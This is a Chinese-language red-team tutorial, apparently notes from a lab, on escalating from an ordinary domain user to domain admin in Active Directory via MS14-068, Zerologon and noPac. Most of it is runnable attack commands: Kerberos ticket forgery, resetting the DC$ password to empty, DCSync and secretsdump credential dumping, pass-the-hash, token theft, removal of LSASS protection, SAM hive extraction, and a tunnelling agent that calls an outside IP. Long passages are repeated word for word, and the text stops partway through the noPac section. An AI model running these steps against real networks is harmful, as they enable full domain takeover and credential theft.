域 提权
总述
本文收录了最常见和最优解的几种 域 提权 的几种手法 以及 相关的思路 和 原理讲解。
神
域环境提权,就是从普通域用户权限到域控管理权限。
域渗透的主要目标就是拿下域控管理权限,拿下域控制器,进而拿下整个域。
其实本质就是:
域普通用户 -> 域管/域控 -> 全域机器
提权
MS14-068
该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
CVE 编号:
CVE-2014-6324
微软官方解释:
https://learn.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068
相关漏洞的基本情况描述,以及受影响的主机范围。
Windows Server 2003
Windows Server 2008
Windows Server 2008 R2
Windows Server 2012 和 Windows Server 2012 R2
Windows Vista
Windows 7
Windows 8 和 Windows 8.1
我们的当前环境是不支持的,已没有这个漏洞了,此处只讲相关的实现手法吧,最终确实是没有成功的。
| 域控系统版本 | 是否受 MS14‑068 影响 |
|---|---|
| Windows Server 2003 | ✅ 受影响 |
| Windows Server 2008 | ✅ 受影响 |
| Windows Server 2008 R2 | ✅ 受影响 |
| Windows Server 2012 | ✅ 受影响 |
| Windows Server 2012 R2 | ❌ 不受影响(系统层面已修复) |
| Windows Server 2016+ | ❌ 不受影响 |
原理
服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向 域控DC 验证 PAC 的话,那么客户端可以伪造域管的权限来访问服务器。
MS14‑068(Kerberos 票据提权漏洞)不是“获取域管账号”,而是“把普通域用户伪造成域管权限”。
你只需要 任意域用户的明文密码/NTLM 哈希,配合漏洞,就能伪造一个 域管级别的 TGT。
不需要事先掌握域管账号。
所以它的价值在于 低权限 → 高权限 的跃迁。
MS14-068.exe -u [User@Domain] -s [UserSID] -p [Password] -d [DC_IP]
-u:你要冒充的账号名(即当前你真实掌握的账号)(logonpasswords)
-s:关键点,是你要在票据里嵌入的 SID(如果只填自己的用户 SID,票据权限就只等于普通用户;如果塞进 DA 组的 SID,票据就会被 KDC 当成域管)(RID-512)(需要是 域管理员组 的 SID,而不能是 某个域管的SID)
-p:你掌握的域用户密码
-d:域控的地址
🔑 只能 "-p 明文密码" 为什么很多资料里写 “密码或 Hash”?
是因为协议层面,Kerberos key 确实是基于 NTLM Hash。理论上如果工具支持,你就可以用 Hash 代替明文。
但是不同的工具实现不同:
原版 MS14‑068.exe:只支持明文 → 自己内部再 Hash。
改进版工具 / mimikatz / Rubeus / impacket:可以直接用 NT hash 作为输入(即 “Pass‑the‑Key” 方式)。
Domain Admins 组 SID:
<DomainSID>-512
Enterprise Admins 组 SID:
<DomainSID>-519
Schema Admins 组 SID:
<DomainSID>-518
SID S-1-5-21-1111222233334444555566667777-1105
这里 S-1-5-21-1111...6666 就是域 SID(去掉最后的 -1105,那是 bob 的 RID)。
举例:
如果 bob 的 SID = S-1-5-21-1111222233334444555566667777-1105
那么域 SID = S-1-5-21-1111222233334444555566667777
则:
Domain Admins = S-1-5-21-1111222233334444555566667777-512
Schema Admins = S-1-5-21-1111222233334444555566667777-518
Enterprise Admins = S-1-5-21-1111222233334444555566667777-519

利用条件
1. 域控没有安装MS14-068的补丁KB3011780
wmic qfe list
systeminfo | findstr "KB"
2. 拥有一台域内主机权限
3. 具有普通域用户密码、Hash值以及用户SUID
wmic useraccount
whoami /user
whoami /all
工具
MS14-068.exe:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
Psexec:
项目地址:
https://github.com/crupper/Forensics-Tool-Wiki/tree/master/windowsTools
下载地址:
https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
实操
1、漏洞检测 - 查询当前主机是否打了相关的补丁
# 一般域内的补丁都是 域控 下发相关的任务,整个域的主机相关的补丁一起打的,可以通过当前主机是否存在该补丁来推断 DC 域控主机是否打了该补丁。
wmic qfe list | findstr "KB3011780"
# 查看当前系统的详细版本(其实最好的是在 DC 上看,简单来说就是通过方法确认 DC 的操作系统版本,来确定域控是否存在 该漏洞)
systeminfo | findstr "OS Name OS Version"
2、获取域 SID
# 获取域内所有用户的 SID 等详细信息
wmic useraccount
whoami /user
logonpasswords - 会展示 域内用户 的 相关详细信息 和 SID。
本质上是要获取到 域 的 SID 值。
SID S-1-5-21-1180965504-3738377390-1973350559-1114
这里 S-1-5-21-1180965504-3738377390-1973350559 就是域 SID(去掉最后的 -1114,那是 bob 的 RID)。
Domain Admins 组 SID:
<DomainSID>-512
Enterprise Admins 组 SID:
<DomainSID>-519
Schema Admins 组 SID:
<DomainSID>-518
举例:
如果 bob 的 SID = S-1-5-21-1180965504-3738377390-1973350559-1114
那么域 SID = S-1-5-21-1180965504-3738377390-1973350559
则:
Domain Admins = S-1-5-21-1180965504-3738377390-1973350559-512
Schema Admins = S-1-5-21-1180965504-3738377390-1973350559-518
Enterprise Admins = S-1-5-21-1180965504-3738377390-1973350559-519
查询方法:
wmic group where name="Domain Admins" get name,sid
wmic group where name="Enterprise Admins" get name,sid
wmic group where name="Schema Admins" get name,sid
OR
使用 PowerShell
前提:需要安装 RSAT-AD-PowerShell 模块或在域控上执行。
Get-ADGroup "Domain Admins" | Select-Object Name, SID
Get-ADGroup "Enterprise Admins" | Select-Object Name, SID
Get-ADGroup "Schema Admins" | Select-Object Name, SID



3、获取域用户Hash
场景一:有域用户的权限 - beacon
1. 利用 MS15-051 漏洞获取当前主机的 SYSTEM 权限。
2. 然后再利用当前主机 SYSTEM 的权限执行 hashdump、logonpasswords 等命令,获取域用户的 NTLM_Hash、明文密码,用于接下来的 票据伪造。
hashdunmp 是获取的本地的 SAM 文件当中的相关凭据,获取不到 域内用户的 ,所以其实就是 logonpasswords 命令去获取 lsass.exe 进程的内存当中存储的 - 本次电脑开机到现在认证过的所有账户的凭据信息。
NTLM Hash(散列值):来自 MSV1_0 模块,用于 NTLM 认证。
明文密码(如果开启了 Wdigest 明文存储 / 或者用户刚输入过密码)。
Kerberos Ticket (TGT / TGS):域账户通过 Kerberos 登录后,票据也会被 LSASS 保留。
凭据缓存(CredMan):保存某些网络连接时的缓存账号密码。
3. 通过获取到的某个 域用户 的 域用户名、域用户明文密码 配合 我们得到的 域管理员组SID 来 伪造我们的凭据。



场景二:有的是 当前主机工作组 的权限 - beacon
因为即使是域内的主机,不是使用的 域内的相关用户 登录的域主机的话,那么即使当前的主机是 域内主机 有 域内网卡,但是无法使用,不能与 DC 进行相关的通信,不能与 域 产生相关的任何交集。
但是没事,我们的思路还是一样的,获取到当前 域内主机 的 本地SYSTEM 权限,然后 logonpasswords 来 读取 lsass.exe 进程的内存当中存储的相关 域用户 的凭证,用于我们后续 伪造票据。
判断我们是不是在 域环境 当中,最简单的其实就是:
net config workstation
1. 本地提权,提权到 SYSTEM 权限。
2. logonpasswords 获取 域内用户 的凭证。
3. 通过我们获取的 域内用户 的相关凭证,实现内网横移,肯定需要先进入到域环境当中。因为我们需要的是 域的权限提升,接管域控、接管域。而且伪造票据需要与域控交互,域控的 krbtgt 用户服务。kerbors。
4. 伪造票据。



4、伪造票据
通过我们已知的 域内用户 的相关凭据,来伪造 域管理员 的 票据。
1. 清除当前用户票据
# 避免之前的凭据对我们后续的操作有相关的影响,避免后续认证用的是我们当前的真实票据而不是我们后续伪造出来的票据。
mimikatz kerberos::purge

2. 生成认证证书 - 伪造票据
MS14-068.exe -u [User@Domain] -s [UserSID] -p [Password] -d [DC_IP]
-u:你要冒充的账号名(即当前你真实掌握的账号)(logonpasswords)
-s:关键点,是你要在票据里嵌入的 SID(如果只填自己的用户 SID,票据权限就只等于普通用户;如果塞进 DA 组的 SID,票据就会被 KDC 当成域管)(RID-512)
-p:你掌握的域用户密码
-d:域控的地址
此时:
shell MS14-068.exe -u [email protected] -s "S-1-5-21-1180965504-3738377390-1973350559-512" -p "1qaz@PASS" -d 10.10.10.10
# S-1-5-21-1180965504-3738377390-1973350559-512: 用的是 域管理员组 的 SID。

3. 写入认证证书
# 利用mimikatz.exe将证书写入,从而提升为域管理员
mimikatz kerberos::ptc [email protected]

5、验证域管理权限
尝试列出域控制器的C盘目录,成功访问域控的C盘,说明普通域用户提权成功。
dir \\DC\C$
dir \\DC.QIAOSHEN.local\C$
因为我们当前使用的是 Windows Server 2012 R2 来做的 域控DC 主机,因此无法成功利用。

- 成功案例

CVE-2020-1472
介绍
CVE-2020-1472 -- Netlogon域提权:
就是那个把 DC$ 账户密码置空的那个漏洞。
2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞的风险通告。攻击者通过 NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。
影响范围
影响范围:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2012
Windows Server 2016
Windows Server 2019
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
工具
Zerologon 脚本利用:
poc:
https://github.com/SecuraBV/CVE-2020-1472
exp:
https://github.com/blackarrowsec/redteam-research
exp:
https://github.com/risksense/zerologon
exp:
https://github.com/SecuraBV/CVE-2020-1472
Impacket工具包:
https://github.com/fortra/impacket
实操一 - Zerologon脚本利用
1、获取域控主机的机器账户名
1. 域内主机名称 与 域内主机计算机账户 的 讲解
域控主机名称 = 域控这台机器的 主机名(Computer Name),例如 DC01。
DC$ = 域控在 Active Directory 里的 计算机账户(Computer Account),用于机器认证,带 $ 后缀。
两者指代对象不同:
前者是机器的名字(你直接看到的主机名)。
后者是这台机器在域里的身份账户。、
1. 域控主机名称 (Domain Controller Hostname):
就是 域控制器机器本身的 Windows 主机名 (Computer Name)。
比如你装了一个域控,机器名叫 DC01,那么它的主机名就是 DC01。
如果域名是 qiaoshen.local,那么常见表示方式有:
NetBIOS 名称:DC01
FQDN(全称域名):dc01.qiaoshen.local
2. 域控制器计算机账户(带 $ 的 SID/账户)
在 Active Directory 里,每台加入域的主机都会有一个对应的 计算机账户 (Computer Account)。
这个账户名就是 主机名 + $,例如:
主机名:DC01
计算机账户:DC01$
这个账户会在 AD 里有自己的 SID、密码(机器密码,系统自动定期更换),用于机器和域之间的安全通信。
3. “DC”和“DC$”的区别
DC(不带 $):指的是域控的 主机名,也就是你平时 ping 的名字,或者远程桌面时用到的机器名字。
DC$(带 $):指的是 AD 里这个域控的 计算机账户。
在安全事件日志、Kerberos 票据或域用户列表里经常能看到。
它在 AD 数据库中就像一个普通用户,只是代表的是一台机器而不是人。
4. 举个例子帮助理解
域名:qiaoshen.local
域控主机名:DC01
域控完整域名(FQDN):dc01.qiaoshen.local
域控在 AD 里的计算机账户:DC01$
这个 DC01$ 账户也会对应一个 SID,比如 S-1-5-21-xxxx-MachineRID。
1. ZeroLogon (CVE-2020-1472) 的利用对象
ZeroLogon 漏洞属于 Netlogon 安全通道认证漏洞,目标就是 域控制器的计算机账户,也就是 DC$。
每台域成员机(包括域控)在域里都有一个机器账户(Computer Account)。
域控自己的机器账户也是存在 AD 里的,例如:
主机名:DC
计算机账户:DC$
这个账号在 AD 里存放着对应的 机器密码(Machine Account Password),默认每 30 天自动更换,用于机器与域控之间的安全信道认证。
ZeroLogon 的核心:利用 Netlogon 协议缺陷去重置 域控计算机账户(DC$)的密码,将它清空,从而达到完全接管域的效果。
2. 那么我们需要的是什么?
需要知道域控主机的计算机账户,比如 DC$ 或 DC01$。
知道 域内主机的主机名也可以,因为域内主机的计算机账户就是 主机名 + $,也就是 DC$。
3. 举例说明
环境如下:
域名:qiaoshen.local
域控 FQDN:DC.qiaoshen.local
域控主机名:DC
域控计算机账户:DC$
那么:
需要知道的输入参数是主机名(DC),
工具在执行时实际上会去操作 AD 里的 DC$ 账户。
✅ 总结
DC = 域控主机名 (Computer Name)
DC$ = 域控计算机账户 (Computer Account in AD)
CVE-2020-1472 (ZeroLogon) 的攻击目标其实是 DC$ 账户,但我们在操作时一般只要知道 域控主机名 就行,可以通过 "域内主机名$" 的形式映射得到域内主机的计算机账户。
eg:
PC$
WEB$
DC$
改名后是遵循的是改名后的 “主机名$” - 来映射成为 AD 数据库当中的 主机机器账户。
加入域 = 在 AD 中生成一个 计算机账户 = 主机名$。
改名后 AD 中的计算机账户也会随之改成 新主机名$。
Windows 会自动保持这种映射关系,否则域信任会断裂。
2. 命令
# 通过获得 登录域内账户的主机的 Beacon 会话执行对应命令
net group "domain controllers" /domain

# 通过这些方式得到 域控主机 的 主机名,然后根据 域内机器主机 和 域内主机计算机账户名 映射关系 - 简介得到 域控主机计算机账户名(域控主机名 + $ = 域控主机计算机账户名)(DC + $ = DC$)
# 所以接下来的手法就与 定位域控 是相同的操作了:
# 1. 查看局域网中(AD 域 隔离后的 域中)的其他主机
net view
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

# 2.时间服务器 查询 域控主机名
net time /domain
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

# 3. 通过获取 DNS 服务器名 - 获得域控主机名
1) ipconfig
ipconfig /displaydns
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

2)nslookup
nslookup -qt=ns qiaoshen.local
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

# 4. netdom 快速查找当前域里的 PDC Emulator 域控制器 - 获得域控主机名
netdom query pdc
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

# 5. nltest 列出域内所有 域控制器 - 获得域控主机名
nltest /DCLIST:qiaoshen.local
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

# 6. SPN 查询 - 获得域控主机名
setspn -q */*
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

2、获取域控主机的 IP
1. Ping DC
通过第二步的方式 Ping 域控的主机名 即可。

2. DNS 解析
# 1)ipconfig
ipconfig /all
ipconfig /displaydns


# 2)net config workstation
net config workstation

# 3)nslookup
nslookup -qt=ns qiaoshen.local

3、检测是否存在漏洞
检测漏洞而不利用 - PoC
项目地址:
https://github.com/SecuraBV/CVE-2020-1472
2. 检测
0)分析
两种方法嘛:
1. 隧道代理 - py脚本 流量转发。
2. 上传 PoC 至目标服务器,执行检测。
1. socks 代理:
CS:
socks 4080 socks5 disableNoAuth qiaoshen qiaoshensocks5 disableLogging
stowaway:
服务端(Server):
admin.exe -l 9999 -s qiaoshen
客户端(Client):
agent.exe -c 120.55.169.128:9999 -s qiaoshen
1)隧道 - 流量转发
python 脚本:
pip install -r requirements.txt
./zerologon_tester.py EXAMPLE-DC 1.2.3.4
EXAMPLE-DC: 域控主机名
1.2.3.4: 域控 IP
实际:
chmod 777 zerologon_tester.py
proxychains4 -q python3 zerologon_tester.py DC 10.10.10.10
CS 的 socks 代理龟速,stowaway 高性能隧道代理非常快。
哪怕是高性能的 stowaway 代理的流量进行转发,也会很慢,因为要转发几次流量,而且每次执行脚本的时长都不定。可以看下图
CS
socks 4080 socks5 disableNoAuth qiaoshen qiaoshensocks5 disableLogging
proxychains4 -q python3 zerologon_tester.py DC 10.10.10.10



stowaway
服务端(Server):
admin.exe -l 9999 -s qiaoshen
客户端(Client):
agent.exe -c 120.55.169.128:9999 -s qiaoshen
use 0
socks 4081 qiaoshen qiaoshensocks5
proxychains4 -q python3 zerologon_tester.py DC 10.10.10.10




2)上传PoC - beacon 执行 Exp
代理的方法可以看上图,哪怕是高性能的 stowaway 代理的流量进行转发,也会很慢,因为要转发几次流量,而且每次执行脚本的时长都不定。
但是这样上传上去一般会秒出结果,但是可能需要做免杀。
# 上传文件 - beacon 界面执行
zerologon_tester.exe DC 10.10.10.10




4、利用漏洞重置域账号
0)分析
一样的分为两种情况咯:
1. Socks 隧道 转发流量
2. 上传 Exp 直接利用
在重置前我们可以先看看 DC$ 域控主机计算机账户 的 密码是怎么样的,以便我们后续与 漏洞利用 后的情况进行对比。
mimikatz "privilege::debug" "log 1.txt" "lsadump::dcsync /domain:qiaoshen.local /all /csv" "exit"
OR
mimikatz
privilege::debug
lsadump::dcsync /domain:mingy.local /all /csv
可以发现我们此时 DC$ 账户的 NTLM_Hash 为:
0e9c***....***f7c


1)隧道 - 流量转发
此处我们就用 stowaway 了,CS 的隧道是在太慢。
cd /root/QiaoShen/CVE-2020-1472
proxychains4 -q python CVE-2020-1472.py DC DC$ 10.10.10.10
DC:指定 域控主机名。
DC$:指定 域控主机计算机账户名 - 密码置空的账户。
10.10.10.10:DC 主机的 IP。


ok,执行 Exp 成功了,此时我们再去看看 DC$ 域控主机计算机账户的 密码。
mimikatz "privilege::debug" "log 1.txt" "lsadump::dcsync /domain:qiaoshen.local /all /csv" "exit"
不难发现,我们的 DC$ 用户的 NTLM_Hash 的值发生了变化:
EXP 利用前:
0e9c***....***f7c
EXP 利用后:
31d6cfe0d16ae931b73c59d7e0c089c0


2)上传Exp - beacon 执行 Exp
CVE-2020-1472.exe DC DC$ 10.10.10.10






5、获取域控用户Hash
环境大问题在此 - impacket
依然两种方式:
1. 代理
2. 上传
1)代理
通过代理使用 impacket-secretsdump:
proxychains4 -q secretsdump.py 'qiaoshen.local/[email protected]' -no-pass
OR
# 源码利用
cd /root/QiaoShen/impacket/examples
proxychains4 -q python secretsdump.py 'qiaoshen.local/[email protected]' -no-pass
项目地址:
https://github.com/fortra/impacket
安装方法:
# 安装依赖环境
sudo apt update
sudo apt install -y python3 python3-pip python3-venv git
# 下载 Impacket 源码
git clone https://github.com/fortra/impacket.git
cd impacket
# 安装 Impacket
pip3 install .
OR
pip3 install -r requirements.txt
python3 setup.py install
OR
pip3 install -e .
# 验证安装
impacket-wmiexec -h
🔹 5. 常见问题
命令找不到?
确认 ~/.local/bin 已经在 PATH 里(pip3 默认安装路径):
echo $PATH
export PATH=$PATH:~/.local/bin
ls /usr/local/bin | grep exec
ls /usr/local/bin | grep dump
在 Impacket 0.12.0 里,你应该能看到:
wmiexec.py
psexec.py
smbexec.py
atexec.py
secretsdump.py
...
wmiexec.py -h
secretsdump.py -h
权限问题?
可以尝试用虚拟环境安装:
python3 -m venv impacket-env
source impacket-env/bin/activate
pip install .
如果报错就使用 mimikatz 的 lsadump::zerologon 功能
可以发现:
域管的 NTLM_Hash 密码:
579**...**6ee

2)上传
secretsdump.exe qiaoshen.local/[email protected] -no-pass


6、使用Hash横向移动连接域控
proxychains4 -q wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579**...**6ee qiaoshen/[email protected]
乱码解决方法:
你可以在 wmiexec 的 shell 下先执行:
chcp.com
通常会显示:
活动代码页: 936
这意味着 Windows 的输出是 GBK/936。
此时你就可以在 wmiexec.py 加上:
wmiexec.py -codec gbk user@target

可以发现,此时就可以正常显示了

7、恢复域 - 获取Hash
1. 获取 SAM 数据库:
# 保存
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
reg save HKLM\SECURITY SECURITY
# 下载文件
lget SYSTEM
lget SAM
lget SECURITY
# 删除(删除 域控 上的文件)
del /f SYSTEM
del /f SAM
del /f SECURITY



2. 解密 SAM 数据库
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

-
获得机器用户的NTLM_Hash:
0e9c...f7c
8、恢复域 - 还原Hash
依旧两种方式:
1. 代理
2. 上传
1)代理
proxychains4 -q python reinstall_original_pw.py 域控主机名 域控IP NTLM_Hash
此处:
proxychains4 -q python reinstall_original_pw.py DC 10.10.10.10 0e9c***....***f7c
项目地址:
https://github.com/risksense/zerologon

查看是否恢复成功:
mimikatz "privilege::debug" "log 1.txt" "lsadump::dcsync /domain:qiaoshen.local /all /csv" "exit"
没问题,恢复成功了,重新变为了:
0e9c***....***f7c

2)上传
reinstall_original_pw.exe 域控主机名 域控IP NTLM_Hash
reinstall_original_pw.exe DC 10.10.10.10 0e9c***....***f7c



实操二 - Mimikatz利用漏洞
1、获取域控主机的机器账户名
1. 域内主机名称 与 域内主机计算机账户 的 讲解
域控主机名称 = 域控这台机器的 主机名(Computer Name),例如 DC01。
DC$ = 域控在 Active Directory 里的 计算机账户(Computer Account),用于机器认证,带 $ 后缀。
两者指代对象不同:
前者是机器的名字(你直接看到的主机名)。
后者是这台机器在域里的身份账户。、
1. 域控主机名称 (Domain Controller Hostname):
就是 域控制器机器本身的 Windows 主机名 (Computer Name)。
比如你装了一个域控,机器名叫 DC01,那么它的主机名就是 DC01。
如果域名是 qiaoshen.local,那么常见表示方式有:
NetBIOS 名称:DC01
FQDN(全称域名):dc01.qiaoshen.local
2. 域控制器计算机账户(带 $ 的 SID/账户)
在 Active Directory 里,每台加入域的主机都会有一个对应的 计算机账户 (Computer Account)。
这个账户名就是 主机名 + $,例如:
主机名:DC01
计算机账户:DC01$
这个账户会在 AD 里有自己的 SID、密码(机器密码,系统自动定期更换),用于机器和域之间的安全通信。
3. “DC”和“DC$”的区别
DC(不带 $):指的是域控的 主机名,也就是你平时 ping 的名字,或者远程桌面时用到的机器名字。
DC$(带 $):指的是 AD 里这个域控的 计算机账户。
在安全事件日志、Kerberos 票据或域用户列表里经常能看到。
它在 AD 数据库中就像一个普通用户,只是代表的是一台机器而不是人。
4. 举个例子帮助理解
域名:qiaoshen.local
域控主机名:DC01
域控完整域名(FQDN):dc01.qiaoshen.local
域控在 AD 里的计算机账户:DC01$
这个 DC01$ 账户也会对应一个 SID,比如 S-1-5-21-xxxx-MachineRID。
1. ZeroLogon (CVE-2020-1472) 的利用对象
ZeroLogon 漏洞属于 Netlogon 安全通道认证漏洞,目标就是 域控制器的计算机账户,也就是 DC$。
每台域成员机(包括域控)在域里都有一个机器账户(Computer Account)。
域控自己的机器账户也是存在 AD 里的,例如:
主机名:DC
计算机账户:DC$
这个账号在 AD 里存放着对应的 机器密码(Machine Account Password),默认每 30 天自动更换,用于机器与域控之间的安全信道认证。
ZeroLogon 的核心:利用 Netlogon 协议缺陷去重置 域控计算机账户(DC$)的密码,将它清空,从而达到完全接管域的效果。
2. 那么我们需要的是什么?
需要知道域控主机的计算机账户,比如 DC$ 或 DC01$。
知道 域内主机的主机名也可以,因为域内主机的计算机账户就是 主机名 + $,也就是 DC$。
3. 举例说明
环境如下:
域名:qiaoshen.local
域控 FQDN:DC.qiaoshen.local
域控主机名:DC
域控计算机账户:DC$
那么:
需要知道的输入参数是主机名(DC),
工具在执行时实际上会去操作 AD 里的 DC$ 账户。
✅ 总结
DC = 域控主机名 (Computer Name)
DC$ = 域控计算机账户 (Computer Account in AD)
CVE-2020-1472 (ZeroLogon) 的攻击目标其实是 DC$ 账户,但我们在操作时一般只要知道 域控主机名 就行,可以通过 "域内主机名$" 的形式映射得到域内主机的计算机账户。
eg:
PC$
WEB$
DC$
改名后是遵循的是改名后的 “主机名$” - 来映射成为 AD 数据库当中的 主机机器账户。
加入域 = 在 AD 中生成一个 计算机账户 = 主机名$。
改名后 AD 中的计算机账户也会随之改成 新主机名$。
Windows 会自动保持这种映射关系,否则域信任会断裂。
2. 命令
# 通过获得 登录域内账户的主机的 Beacon 会话执行对应命令
net group "domain controllers" /domain

# 通过这些方式得到 域控主机 的 主机名,然后根据 域内机器主机 和 域内主机计算机账户名 映射关系 - 简介得到 域控主机计算机账户名(域控主机名 + $ = 域控主机计算机账户名)(DC + $ = DC$)
# 所以接下来的手法就与 定位域控 是相同的操作了:
# 1. 查看局域网中(AD 域 隔离后的 域中)的其他主机
net view
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

# 2.时间服务器 查询 域控主机名
net time /domain
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

# 3. 通过获取 DNS 服务器名 - 获得域控主机名
1) ipconfig
ipconfig /displaydns
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

2)nslookup
nslookup -qt=ns qiaoshen.local
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

# 4. netdom 快速查找当前域里的 PDC Emulator 域控制器 - 获得域控主机名
netdom query pdc
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

# 5. nltest 列出域内所有 域控制器 - 获得域控主机名
nltest /DCLIST:qiaoshen.local
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

# 6. SPN 查询 - 获得域控主机名
setspn -q */*
域控主机名 + $ = 域控主机计算机账户名
DC + $ = DC$

2、获取域控主机的 IP
1. Ping DC
通过第二步的方式 Ping 域控的主机名 即可。

2. DNS 解析
# 1)ipconfig
ipconfig /all
ipconfig /displaydns


# 2)net config workstation
net config workstation

# 3)nslookup
nslookup -qt=ns qiaoshen.local

3、检测是否存在漏洞
mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$

4、利用漏洞重置域账号
# 利用漏洞重置域账号密码为空
mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$ /exploit

5、获取域控用户Hash
mimikatz lsadump::dcsync /domain:qiaoshen.local /dc:DC /user:administrator /authuser:DC$ /authdomain:qiaoshen /authpassword:"" /authntlm
/domain:qiaoshen.local: 指定 域名
/dc:DC: 指定 域控主机名
/authdomain:qiaoshen: 修改为自己的域名(前缀)
/user:administrator: 指定域管账户名
/authuser:DC$: 指定认证的账号,此时我们把 DC$ 域控主机计算机账户 的密码置空了,当然用 DC$ 来认证。
/authdomain:qiaoshen: 认证的域
/authpassword:"": 认证的密码,此处我们置空了。
/authntlm: 认证 NTLM_Hash

-
域管NTLM_Hash:
579...6ee
6、得到域管权限 - 域 横向移动
1. 获得 SeDebugPrivilege 权限
#
mimikatz privilege::debug
注意:因为当前beacon用户权限为域内普通用户 MINGY\bob,需要有管理员或者SYSTEM权限才能获得 SeDebugPrivilege 权限,因此需要在提权操作后得到的beacon中执行本步骤操作,这里我们通过ms15-051得到SYSTEM权限的beacon。


2. 进行Hash注入
# 利用 域管理员Hash 得到 域管权限,执行如下命令后会打开一个具有域管理员权限的 cmd.exe 进程。
mimikatz sekurlsa::pth /user:administrator /domain:qiaoshen /rc4:579**...**6ee
/user:administrator: 指定域管理员
/domain:qiaoshen: 指定 域 简写
/rc4:579**...**6ee: 指定域管理员的 NTLM_Hash

注意:
Win10环境下需要绕过LSA Protection,该功能需要 mimidrv.sys 文件
使用mimikatz绕过LSA Protection的命令为:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
3. Token窃取得到域管权限
通过窃取具有域管权限的cmd.exe进程Token,得到域管权限:
steal_token 1896



7、恢复域 - 获取Hash
0. 内网横移,内网横移后获取 Hash。
proxychains4 -q wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579**...**6ee qiaoshen/[email protected]
1. 获取 SAM 数据库:
# 保存
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
reg save HKLM\SECURITY SECURITY
# 下载文件
lget SYSTEM
lget SAM
lget SECURITY
# 删除(删除 域控 上的文件)
del /f SYSTEM
del /f SAM
del /f SECURITY



2. 解密 SAM 数据库
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
aad3b435b51404eeaad3b435b51404ee:

-
获得机器用户的NTLM_Hash:
0e9c...f7c
8、恢复域 - 还原Hash
reinstall_original_pw.exe 域控主机名 域控IP NTLM_Hash
reinstall_original_pw.exe DC 10.10.10.10 0e9c***....***f7c



9、修改域管密码
mimikatz lsadump::postzerologon /target:10.10.10.10 /account:DC$
mimikatz会将保存在域中的凭证以及注册表、lsass中的凭证同时修改为:
"Waza1234/Waza1234/Waza1234/"
这样不影响域控的正常工作。
CVE-2021-42278/CVE-2021-42287
1. CVE-2021-42278
一般来说,机器账号的名字应该以$符号结尾的。例如DC$表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的sAMAccountName属性)
2. CVE-2021-42287
结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT票据,然后在申请ST之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时就查不到这个账户,此时KDC就会去查找DC$这个账户,如果这个账户存在的话,最终返回的就是DC$这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。
影响范围
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
工具
sam-the-admin:
https://github.com/safebuffer/sam-the-admin
noPac:
https://github.com/Ridter/noPac
实操
当前我的 DC 域控已经修复了该漏洞,因此最终都不会成功。

1、获取域用户Hash
场景一:有域用户的权限 - beacon
1. 利用 MS15-051 漏洞获取当前主机的 SYSTEM 权限。
2. 然后再利用当前主机 SYSTEM 的权限执行 hashdump、logonpasswords 等命令,获取域用户的 NTLM_Hash、明文密码,用于接下来的 票据伪造。
hashdunmp 是获取的本地的 SAM 文件当中的相关凭据,获取不到 域内用户的 ,所以其实就是 logonpasswords 命令去获取 lsass.exe 进程的内存当中存储的 - 本次电脑开机到现在认证过的所有账户的凭据信息。
NTLM Hash(散列值):来自 MSV1_0 模块,用于 NTLM 认证。
明文密码(如果开启了 Wdigest 明文存储 / 或者用户刚输入过密码)。
Kerberos Ticket (TGT / TGS):域账户通过 Kerberos 登录后,票据也会被 LSASS 保留。
凭据缓存(CredMan):保存某些网络连接时的缓存账号密码。
3. 通过获取到的某个 域用户 的 域用户名、域用户明文密码 配合 我们得到的 域管理员组SID 来 伪造我们的凭据。



场景二:有的是 当前主机工作组 的权限 - beacon
